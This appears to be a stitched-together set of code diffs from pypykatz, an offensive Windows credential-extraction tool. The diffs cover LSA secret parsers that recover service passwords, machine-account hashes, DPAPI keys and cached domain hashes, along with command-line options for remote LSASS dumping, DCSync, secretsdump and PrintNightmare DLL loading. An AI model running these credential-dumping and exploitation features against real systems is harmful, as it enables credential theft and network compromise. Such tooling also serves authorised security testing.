35 elif kn.startswith('DEFAULTPASSWORD'):
36 lss = LSASecretDefaultPassword(kn, raw_secret, history)
37 lss.process_secret()
38
39 elif kn.startswith('ASPNET_WP_PASSWORD'):
40 lss = LSASecretASPNET(kn, raw_secret, history)
41 lss.process_secret()
42
43 elif kn.startswith('DPAPI_SYSTEM'):
44 lss = LSASecretDPAPI(kn, raw_secret, history)
45 lss.process_secret()
46
47 elif kn.startswith('$MACHINE.ACC'):
48 lss = LSASecretMachineAccount(kn, raw_secret, history)
49 lss.process_secret()
50
51 else:
52 lss = LSASecret(kn, raw_secret, history)
53
54 return lss
55
56 def __str__(self):
57 return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret)
58
59 def to_dict(self):
60 t = {}
61 t['type'] = 'LSASecret'
62 t['key_name'] = self.key_name
63 t['history'] = self.history
64 t['raw_secret'] = self.raw_secret
65 return t
66
67 class LSASecretService(LSASecret):
68 def __init__(self, key_name, raw_secret, history, system_hive = None):
69 LSASecret.__init__(self, key_name, raw_secret, history)
70 self.system_hive = system_hive
71 self.service = None
72 self.username = None
73 self.secret = None
74
75 async def process_secret(self):
76 try:
77 self.secret = self.raw_secret.decode('utf-16-le')
78 except:
79 self.secret = self.raw_secret.hex()
80 else:
81 #here you may implement a mechanism to fetch the service user's name
82 #TODO
83 self.service = self.key_name
84 self.username = 'UNKNOWN'
85 if self.system_hive is not None:
86 self.username = await self.system_hive.get_service_user(self.key_name[4:])
87
88 def __str__(self):
89 return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
90
91 def to_dict(self):
92 t = {}
93 t['type'] = 'LSASecretService'
94 t['key_name'] = self.key_name
95 t['history'] = self.history
96 t['username'] = self.username
97 t['secret'] = self.secret
98 t['service'] = self.service
99 return t
100
101
102 class LSASecretDefaultPassword(LSASecret):
103 def __init__(self, key_name, raw_secret, history):
104 LSASecret.__init__(self, key_name, raw_secret, history)
105 self.username = None
106 self.secret = None
107
108 def process_secret(self):
109 try:
110 self.secret = self.raw_secret.decode('utf-16-le')
111 except:
112 pass
113 else:
114 #here you may implement a mechanism to fetch the default logon user
115 #TODO
116 self.username = 'UNKNOWN'
117
118 def __str__(self):
119 return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
120
121 def to_dict(self):
122 t = {}
123 t['type'] = 'LSASecretDefaultPassword'
124 t['key_name'] = self.key_name
125 t['history'] = self.history
126 t['username'] = self.username
127 t['secret'] = self.secret
128 return t
129
130 class LSASecretASPNET(LSASecret):
131 def __init__(self, key_name, raw_secret, history):
132 LSASecret.__init__(self, key_name, raw_secret, history)
133 self.username = 'ASPNET'
134 self.secret = None
135
136 def process_secret(self):
137 try:
138 self.secret = self.raw_secret.decode('utf-16-le')
139 except:
140 pass
141
142 def __str__(self):
143 return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
144
145 def to_dict(self):
146 t = {}
147 t['type'] = 'LSASecretASPNET'
148 t['key_name'] = self.key_name
149 t['history'] = self.history
150 t['username'] = self.username
151 t['secret'] = self.secret
152 return t
153
154 class LSASecretMachineAccount(LSASecret):
155 def __init__(self, key_name, raw_secret, history):
156 LSASecret.__init__(self, key_name, raw_secret, history)
157 self.username = None
158 self.secret = None
159 self.kerberos_password = None
160
161 def process_secret(self):
162 #only the NT hash is calculated here
163 ctx = MD4(self.raw_secret)#hashlib.new('md4')
164 #ctx.update(self.raw_secret)
165 self.secret = ctx.digest()
166
167 #thx dirkjan
168 self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
169
170 def to_dict(self):
171 t = {}
172 t['type'] = 'LSASecretMachineAccount'
173 t['key_name'] = self.key_name
174 t['history'] = self.history
175 t['username'] = self.username
176 t['secret'] = self.secret
177 t['kerberos_password'] = self.kerberos_password
178 return t
179
180 def __str__(self):
181 return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex())
182
183
184 class LSASecretDPAPI(LSASecret):
185 def __init__(self, key_name, raw_secret, history):
186 LSASecret.__init__(self, key_name, raw_secret, history)
187 self.machine_key = None
188 self.user_key = None
189
190 def process_secret(self):
191 ds = DPAPI_SYSTEM.from_bytes(self.raw_secret)
192 self.machine_key = ds.machine_key
193 self.user_key = ds.user_key
194
195 def to_dict(self):
196 t = {}
197 t['type'] = 'LSASecretDPAPI'
198 t['key_name'] = self.key_name
199 t['history'] = self.history
200 t['machine_key'] = self.machine_key
201 t['user_key'] = self.user_key
202 return t
203
204 def __str__(self):
205 return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex())
206
207 class LSADCCSecret:
208 def __init__(self, version, domain, username, hash_value, iteration = None):
209 self.version = version
210 self.domain = domain
211 self.username = username
212 self.iteration = iteration
213 self.hash_value = hash_value
214
215 def to_dict(self):
216 t = {}
217 t['version'] = self.version
218 t['domain'] = self.domain
219 t['username'] = self.username
220 t['iteration'] = self.iteration
221 t['hash_value'] = self.hash_value
222 return t
223
224 def __str__(self):
225 return self.to_lopth()
226
227 def to_lopth(self):
228 if self.version == 1:
229 return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username)
230 else:
231 return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())
1212
1313 #####
1414 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
15 from pypykatz.registry.security.acommon import *
1616 from pypykatz.registry import logger
1717 from pypykatz.commons.common import hexdump
1818
2424 # as this functionality can be used by any service that wants to stroe some secret information
2525
2626 class SECURITY:
27 def __init__(self, security_hive, bootkey):
27 def __init__(self, security_hive, bootkey, system_hive = None):
2828 self.hive = security_hive
29 self.system_hive = system_hive
2930 self.bootkey = bootkey
3031
3132 self.dcc_iteration_count = 10240
247248 else:
248249 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
249250
250 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
251 secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
251252 if secret is not None:
252253 self.cached_secrets.append(secret)
253254
2121 self.history = history
2222
2323 @staticmethod
24 def process(key_name, raw_secret, history = False):
24 def process(key_name, raw_secret, history = False, system_hive = None):
2525 kn = key_name.upper()
2626 if len(raw_secret) == 0:
2727 return
2929 return
3030
3131 if kn.startswith('_SC_'):
32 lss = LSASecretService(kn, raw_secret, history)
32 lss = LSASecretService(kn, raw_secret, history, system_hive)
3333 lss.process_secret()
3434
3535 elif kn.startswith('DEFAULTPASSWORD'):
6565 return t
6666
6767 class LSASecretService(LSASecret):
68 def __init__(self, key_name, raw_secret, history):
69 LSASecret.__init__(self, key_name, raw_secret, history)
68 def __init__(self, key_name, raw_secret, history, system_hive = None):
69 LSASecret.__init__(self, key_name, raw_secret, history)
70 self.system_hive = system_hive
7071 self.service = None
7172 self.username = None
7273 self.secret = None
7576 try:
7677 self.secret = self.raw_secret.decode('utf-16-le')
7778 except:
78 pass
79 self.secret = self.raw_secret.hex()
7980 else:
8081 #here you may implement a mechanism to fetch the service user's name
8182 #TODO
8283 self.service = self.key_name
8384 self.username = 'UNKNOWN'
84
85 if self.system_hive is not None:
86 print(self.key_name[4:])
87 self.username = self.system_hive.get_service_user(self.key_name[4:])
88
8589 def __str__(self):
8690 return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
8791
2424 # as this functionality can be used by any service that wants to stroe some secret information
2525
2626 class SECURITY:
27 def __init__(self, security_hive, bootkey):
27 def __init__(self, security_hive, bootkey, system_hive = None):
2828 self.hive = security_hive
29 self.system_hive = system_hive
2930 self.bootkey = bootkey
3031
3132 self.dcc_iteration_count = 10240
245246 else:
246247 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
247248
248 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
249 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
249250 if secret is not None:
250251 self.cached_secrets.append(secret)
251252
5757 await self.get_currentcontrol()
5858 await self.get_bootkey()
5959
60 async def get_service_user(self, service_name):
61 if self.currentcontrol is None:
62 await self.get_currentcontrol()
63
64 try:
65 key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
66 val = await self.hive.get_value(key)
67 return val[1].decode('utf-16-le')
68 except:
69 return None
70
6071 def to_dict(self):
6172 t = {}
6273 t['CurrentControlSet'] = self.currentcontrol
5555 def get_secrets(self):
5656 self.get_currentcontrol()
5757 self.get_bootkey()
58
58
59 def get_service_user(self, service_name):
60 if self.currentcontrol is None:
61 self.get_currentcontrol()
62
63 try:
64 key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
65 return self.hive.get_value(key)[1].decode('utf-16-le')
66 except:
67 return None
68
5969 def to_dict(self):
6070 t = {}
6171 t['CurrentControlSet'] = self.currentcontrol
88 import glob
99 import ntpath
1010 import traceback
11 import argparse
1112
1213 from pypykatz import logging
1314 from pypykatz.commons.common import UniversalEncoder
1617
1718 class RemoteCMDHelper:
1819 def __init__(self):
19 self.live_keywords = ['share','session','localgroup']
20 self.live_keywords = ['smbapi']
2021 self.keywords = [] #['remote'] no yet implemented
2122
2223 def add_args(self, parser, live_parser):
23 live_group = live_parser.add_parser('share', help='Remote share relted operations')
24 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
25 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
26 live_group.add_argument('cmd', choices=['enum'])
27 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
28 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
29 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
30 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
24
25 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
26 live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API')
27 live_smbapi_subparsers.required = True
28 live_smbapi_subparsers.dest = 'livesmbapi'
29
30 live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations')
31 live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
32 live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
33 live_smbapi_share.add_argument('op', choices=['enum'])
34 live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line')
35 live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
36 live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
37 live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
3138
32 live_group = live_parser.add_parser('session', help='Remote user sessions related operations')
33 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
34 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
35 live_group.add_argument('cmd', choices=['enum'])
36 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
37 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
38 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
39 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
39 live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations')
40 live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
41 live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
42 live_smbapi_session.add_argument('op', choices=['enum'])
43 live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line')
44 live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
45 live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
46 live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
4047
41 live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations')
42 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
43 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
44 live_group.add_argument('cmd', choices=['enum'])
45 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
46 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
47 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
48 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
49 live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
48 live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations')
49 live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
50 live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
51 live_smbapi_localgroup.add_argument('op', choices=['enum'])
52 live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line')
53 live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
54 live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
55 live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
56 live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
5057
58 live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser])
5159
52 #group = parser.add_parser('registry', help='Get secrets from registry files')
60 #group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files')
5361 #group.add_argument('system', help='path to the SYSTEM registry hive')
5462 #group.add_argument('--sam', help='path to the SAM registry hive')
5563 #group.add_argument('--security', help='path to the SECURITY registry hive')
6876 pass
6977
7078 def run_live(self, args):
71 if args.module == 'share':
72 if args.cmd == 'enum':
79 if args.livesmbapi == 'share':
80 if args.op == 'enum':
7381 from pypykatz.remote.live.share.enumerator import ShareEnumerator
7482
7583 se = ShareEnumerator()
96104
97105 se.run()
98106
99 elif args.module == 'session':
100 if args.cmd == 'enum':
107 elif args.livesmbapi == 'session':
108 if args.op == 'enum':
101109 from pypykatz.remote.live.session.enumerator import SessionMonitor
102110
103111 se = SessionMonitor()
123131
124132 se.run()
125133
126 elif args.module == 'localgroup':
127 if args.cmd == 'enum':
134 elif args.livesmbapi == 'localgroup':
135 if args.op == 'enum':
128136 from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator
129137
130138 se = LocalGroupEnumerator()
88 import os
99 import json
1010 import ntpath
11 import asyncio
1112 import platform
1213 import argparse
1314 import base64
1617 from pypykatz import logging
1718 from pypykatz.commons.common import UniversalEncoder
1819 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
19 import asyncio
20
2021
2122 """
2223 This is a wrapper for aiosmb
4344 smb_subparsers.required = True
4445 smb_subparsers.dest = 'smb_module'
4546
46 smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
47 smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
48 smb_console_group.add_argument('url', help="SMB connection string")
49 smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
47 smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
48 smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
49 smb_client_group.add_argument('url', help="SMB connection string")
50 smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
5051
5152 smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.')
5253 smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'")
5859 smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
5960
6061
61 smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.')
62 smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
6263 smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
63 smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format')
64 smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
6465 smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
6566 smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
6667 smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
6768 smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
6869 smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
6970 smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
70
71 smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
72 smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
7173
7274
7375 smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps')
7981 smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
8082 smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
8183
82 smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets')
84 smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
8385 smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
8486 smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
8587 smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
88 smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
89 smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
90
8691
8792 smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync')
88 smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
93 smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
8994 smb_dcsync_group.add_argument('-u', '--username', help='taget username')
9095 smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
9196
9297 smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump')
93 smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
98 smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
9499 smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
95100 smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
96101 smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
101106
102107
103108 smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator')
104 smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
105 smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
106109 smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
107110 smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum")
108111 smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate")
121124 smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
122125 smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration')
123126
127 printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare')
128 printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
129 printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
130 printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
131 printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
132
133 parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
134 parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
135 parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
136 parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
137 parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
124138
125139
126140
127141 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
128 live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
142 live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.')
129143 live_smb_subparsers.required = True
130144 live_smb_subparsers.dest = 'livesmbcommand'
131145
132 live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
133 live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
134 live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
135 live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
136 live_console_parser.add_argument('host', help='Target host to connect to')
137 live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
138
146 live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
147 live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
148 live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
149 live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
150 live_client_parser.add_argument('host', help='Target host to connect to')
151 live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
152
153 live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
154 live_lsassdump_group.add_argument('host', help='Target host to connect to')
155 live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
156 live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
157 live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
158 live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
159 live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
160 live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
161 live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
162 live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
163 live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
164 live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
165 live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
166
167 live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
168 live_regsec_group.add_argument('host', help='Target host to connect to')
169 live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
170 live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
171 live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
172 live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
173 live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
174 live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
175
176 live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync')
177 live_dcsync_group.add_argument('host', help='Target host to connect to')
178 live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
179 live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
180 live_dcsync_group.add_argument('-u', '--username', help='taget username')
181 live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
182
183 live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump')
184 live_secretsdump_group.add_argument('host', help='Target host to connect to')
185 live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
186 live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
187 live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
188 live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
189 live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
190 live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
191 live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
192 live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
139193
140194 live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.')
141195 live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
157211 live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified')
158212 live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
159213
214 live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare')
215 live_printnightmare_group.add_argument('host', help='Target host to connect to')
